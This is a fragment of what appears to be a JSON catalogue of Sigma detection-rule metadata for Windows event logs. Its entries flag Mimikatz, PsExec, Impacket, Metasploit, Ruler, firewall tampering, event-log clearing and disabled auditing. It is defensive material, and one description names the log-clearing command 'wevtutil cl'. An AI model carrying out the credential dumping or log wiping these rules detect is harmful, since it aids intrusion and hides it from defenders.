      "value": "PsExec Tool Execution From Suspicious Locations - PipeName"
    },
    {
      "description": "This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)",
      "meta": {
        "author": "Florian Roth (Nextron Systems), David ANDRE (additional keywords)",
        "creation_date": "2017/01/10",
        "falsepositive": [
          "Naughty administrators",
          "AV Signature updates",
          "Files with Mimikatz in their filename"
        ],
        "filename": "win_alert_mimikatz_keywords.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://tools.thehacker.recipes/mimikatz/modules",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml"
        ],
        "tags": [
          "attack.s0002",
          "attack.lateral_movement",
          "attack.credential_access",
          "car.2013-07-001",
          "car.2019-04-004",
          "attack.t1003.002",
          "attack.t1003.004",
          "attack.t1003.001",
          "attack.t1003.006"
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      },
      "related": [
        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
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        {
          "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163",
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      ],
      "uuid": "06d71506-7beb-4f22-8888-e2e5e2ca7fd8",
      "value": "Mimikatz Use"
    },
    {
      "description": "Detects when a rule has been modified in the Windows firewall exception list",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/19",
        "falsepositive": "No established falsepositives",
        "filename": "win_firewall_as_change_rule.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_change_rule.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
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      ],
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      "value": "Firewall Rule Modified In The Windows Firewall Exception List"
    },
    {
      "description": "Detects the addition of a rule to the Windows Firewall exception list where the application resides in a suspicious folder",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/02/26",
        "falsepositive": [
          "Any legitimate application that runs from the AppData user directory"
        ],
        "filename": "win_firewall_as_add_rule_susp_folder.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/7123e948-c91e-49e0-a813-00e8d72ab393/#",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule_susp_folder.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "9e2575e7-2cb9-4da1-adc8-ed94221dca5e",
      "value": "New Firewall Exception Rule Added For A Suspicious Folder"
    },
    {
      "description": "Detects activity when The Windows Defender Firewall service failed to load Group Policy",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/19",
        "falsepositive": "No established falsepositives",
        "filename": "win_firewall_as_failed_load_gpo.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_failed_load_gpo.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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        }
      ],
      "uuid": "7ec15688-fd24-4177-ba43-1a950537ee39",
      "value": "The Windows Defender Firewall Service Failed To Load Group Policy"
    },
    {
      "description": "Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/19",
        "falsepositive": "No established falsepositives",
        "filename": "win_firewall_as_delete_rule.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
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          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)",
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      "meta": {
        "author": "frack113",
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        "filename": "win_firewall_as_reset_config.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)",
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        {
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      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": "No established falsepositives",
        "filename": "win_firewall_as_delete_all_rules.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)",
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        ],
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        {
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    },
    {
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      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
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        "filename": "win_firewall_as_setting_change.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml"
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      },
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        {
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    {
      "description": "Detects when a rule has been added to the Windows Firewall exception list",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/19",
        "falsepositive": "No established falsepositives",
        "filename": "win_firewall_as_add_rule.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
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          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)",
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        ],
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          "attack.defense_evasion",
          "attack.t1562.004"
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      },
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        {
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      "description": "Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.",
      "meta": {
        "author": "Patrick Bareiss",
        "creation_date": "2019/04/18",
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          "Domain Controller Logs",
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        ],
        "filename": "win_security_user_creation.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_creation.yml"
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      "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_via_compress_services_security.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml"
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      "meta": {
        "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1",
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      "description": "An attacker can use the SID history attribute to gain additional privileges.",
      "meta": {
        "author": "Thomas Patzke, @atc_project (improvements)",
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          "Migration of an account into a new domain"
        ],
        "filename": "win_security_susp_add_sid_history.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://adsecurity.org/?p=1772",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml"
        ],
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        {
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      "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution",
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        "author": "Florian Roth (Nextron Systems)",
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          "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)",
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        "level": "high",
        "logsource.category": "No established category",
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          "https://twitter.com/deviouspolack/status/832535435960209408",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml"
        ],
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          "attack.t1070.001",
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      "meta": {
        "author": "Syed Hasan (@syedhasan009)",
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        "filename": "win_security_iso_mount.yml",
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        "logsource.category": "No established category",
        "logsource.product": "windows",
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          "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image",
          "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore",
          "https://twitter.com/MsftSecIntel/status/1257324139515269121",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_susp_scheduled_task_delete_or_disable.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4701",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_delete_or_disable.yml"
        ],
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      "value": "Important Scheduled Task Deleted/Disabled"
    },
    {
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      "meta": {
        "author": "Connor Martin, Nasreddine Bencherchali (Nextron Systems)",
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          "The rule doesn't look for anything suspicious so false positives are expected. If you use one of the tools mentioned, comment it out"
        ],
        "filename": "win_security_service_install_remote_access_software.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
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          "https://redcanary.com/blog/misbehaving-rats/",
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          "attack.t1543.003",
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        {
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    {
      "description": "Detects Obfuscated Powershell via use MSHTA in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_via_use_mshta_services_security.yml",
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        "logsource.product": "windows",
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        "creation_date": "2019/11/01",
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        "level": "medium",
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        "author": "Zach Mathis",
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        "level": "medium",
        "logsource.category": "No established category",
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        ],
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      "description": "Detects an installation of a device that is forbidden by the system policy",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/10/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_device_installation_blocked.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml"
        ],
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    {
      "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one",
      "meta": {
        "author": "Samir Bousseaden",
        "creation_date": "2019/04/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_susp_psexec.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_psexec.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c462f537-a1e3-41a6-b5fc-b2c2cef9bf82",
      "value": "Suspicious PsExec Execution"
    },
    {
      "description": "Detects logon with \"Special groups\" and \"Special Privileges\" can be thought of as Administrator groups or privileges.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/10/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_admin_logon.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.lateral_movement",
          "attack.credential_access",
          "attack.t1558",
          "attack.t1649",
          "attack.t1550"
        ]
      },
      "related": [
        {
          "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7de1f7ac-5d0c-4c9c-8873-627202205331",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "94309181-d345-4cbf-b5fe-061769bdf9cb",
      "value": "User with Privileges Logon"
    },
    {
      "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent.\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\\SOFTWARE\\Microsoft\\Microsoft Online\\Reporting\\MonitoringAgent.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "creation_date": "2021/08/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_aadhealth_mon_agent_regkey_access.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://o365blog.com/post/hybridhealthagent/",
          "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1012"
        ]
      },
      "related": [
        {
          "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ff151c33-45fa-475d-af4f-c2f93571f4fe",
      "value": "Azure AD Health Monitoring Agent Registry Keys Access"
    },
    {
      "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Gleb Sukhodolskiy, Timur Zinniatullin oscd.community",
        "creation_date": "2017/08/22",
        "falsepositive": [
          "Unknown (data set is too small; further testing needed)"
        ],
        "filename": "win_security_wmi_persistence.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mattifestation/status/899646620148539397",
          "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1546.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f033f3f3-fd24-4995-97d8-a3bb17550a88",
      "value": "WMI Persistence - Security"
    },
    {
      "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/05/09",
        "falsepositive": [
          "Legitimate used of encrypted ZIP files"
        ],
        "filename": "win_security_susp_opened_encrypted_zip.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/sbousseaden/status/1523383197513379841",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "00ba9da1-b510-4f6b-b258-8d338836180f",
      "value": "Password Protected ZIP File Opened"
    },
    {
      "description": "Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale",
      "meta": {
        "author": "Samir Bousseaden",
        "creation_date": "2019/04/03",
        "falsepositive": [
          "If the source IP is not localhost then it's super suspicious, better to monitor both local and remote changes to GPO scheduledtasks"
        ],
        "filename": "win_security_gpo_scheduledtasks.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/menasec1/status/1106899890377052160",
          "https://www.secureworks.com/blog/ransomware-as-a-distraction",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.lateral_movement",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a8f29a7b-b137-4446-80a0-b804272f3da2",
      "value": "Persistence and Execution at Scale via GPO Scheduled Task"
    },
    {
      "description": "Alerts on Metasploit host's authentications on the domain.",
      "meta": {
        "author": "Chakib Gzenayi (@Chak092), Hosni Mribah",
        "creation_date": "2020/05/06",
        "falsepositive": [
          "Linux hostnames composed of 16 characters."
        ],
        "filename": "win_security_metasploit_authentication.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "72124974-a68b-4366-b990-d30e0b2a190d",
      "value": "Metasploit SMB Authentication"
    },
    {
      "description": "This events that are generated when using the hacktool Ruler by Sensepost",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/05/31",
        "falsepositive": [
          "Go utilities that use staaldraad awesome NTLM library"
        ],
        "filename": "win_security_alert_ruler.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776",
          "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624",
          "https://github.com/sensepost/ruler/issues/47",
          "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427",
          "https://github.com/sensepost/ruler",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.execution",
          "attack.t1087",
          "attack.t1114",
          "attack.t1059",
          "attack.t1550.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "24549159-ac1b-479c-8175-d42aea947cae",
      "value": "Hacktool Ruler"
    },
    {
      "description": "Checks for event id 1102 which indicates the security event log was cleared.",
      "meta": {
        "author": "Saw Winn Naung",
        "creation_date": "2021/08/15",
        "falsepositive": [
          "Legitimate administrative activity"
        ],
        "filename": "win_security_event_log_cleared.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/SecurityEventLogCleared.yaml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_event_log_cleared.yml"
        ],
        "tags": [
          "attack.t1070.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a122ac13-daf8-4175-83a2-72c387be339d",
      "value": "Security Event Log Cleared"
    },
    {
      "description": "Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Daniil Yugoslavskiy, oscd.community (update)",
        "creation_date": "2017/03/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_mal_service_installs.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://awakesecurity.com/blog/threat-hunting-for-paexec/",
          "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
          "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1003",
          "car.2013-09-005",
          "attack.t1543.003",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cb062102-587e-4414-8efa-dbe3c7bf19c6",
      "value": "Malicious Service Installations"
    },
    {
      "description": "Detects execution of Impacket's psexec.py.",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2020/12/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_impacket_psexec.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_psexec.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "32d56ea1-417f-44ff-822b-882873f5f43b",
      "value": "Impacket PsExec Execution"
    },
    {
      "description": "Detects remote service activity via remote access to the svcctl named pipe",
      "meta": {
        "author": "Samir Bousseaden",
        "creation_date": "2019/04/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_svcctl_remote_service.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.persistence",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "586a8d6b-6bfe-4ad9-9d78-888cd2fe50c3",
      "value": "Remote Service Activity via SVCCTL Named Pipe"
    },
    {
      "description": "Detects scenarios where system auditing (i.e.: Windows event log auditing) is disabled.\nThis may be used in a scenario where an entity would want to bypass local logging to evade detection when Windows event logging is enabled and reviewed.\nAlso, it is recommended to turn off \"Local Group Policy Object Processing\" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as \"gpedit.msc\".\nPlease note, that disabling \"Local Group Policy Object Processing\" may cause an issue in scenarios of one off specific GPO modifications - however, it is recommended to perform these modifications in Active Directory anyways.\n",
      "meta": {
        "author": "@neu5ron, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2017/11/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_disable_event_auditing.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_auditing.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "69aeb277-f15f-4d2d-b32a-55e883609563",
      "value": "Windows Event Auditing Disabled"
    },
    {
      "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_via_use_rundll32_services_security.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd0f7229-d16f-42de-8fe3-fba365fbcb3a",
      "value": "Invoke-Obfuscation Via Use Rundll32 - Security"
    },
    {
      "description": "Detects a user log-off activity. Could be used for example to correlate information during forensic investigations",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/10/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_user_logoff.yml",
        "level": "informational",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634",
          "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4647",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml"
        ],
        "tags": "No established tags"
      },
      "uuid": "0badd08f-c6a3-4630-90d3-6875cca440be",
      "value": "User Logoff Event"
    },
    {
      "description": "Detects access to $ADMIN share",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/04",
        "falsepositive": [
          "Legitimate administrative activity"
        ],
        "filename": "win_security_admin_share_access.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_share_access.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "098d7118-55bc-4912-a836-dc6483a8d150",
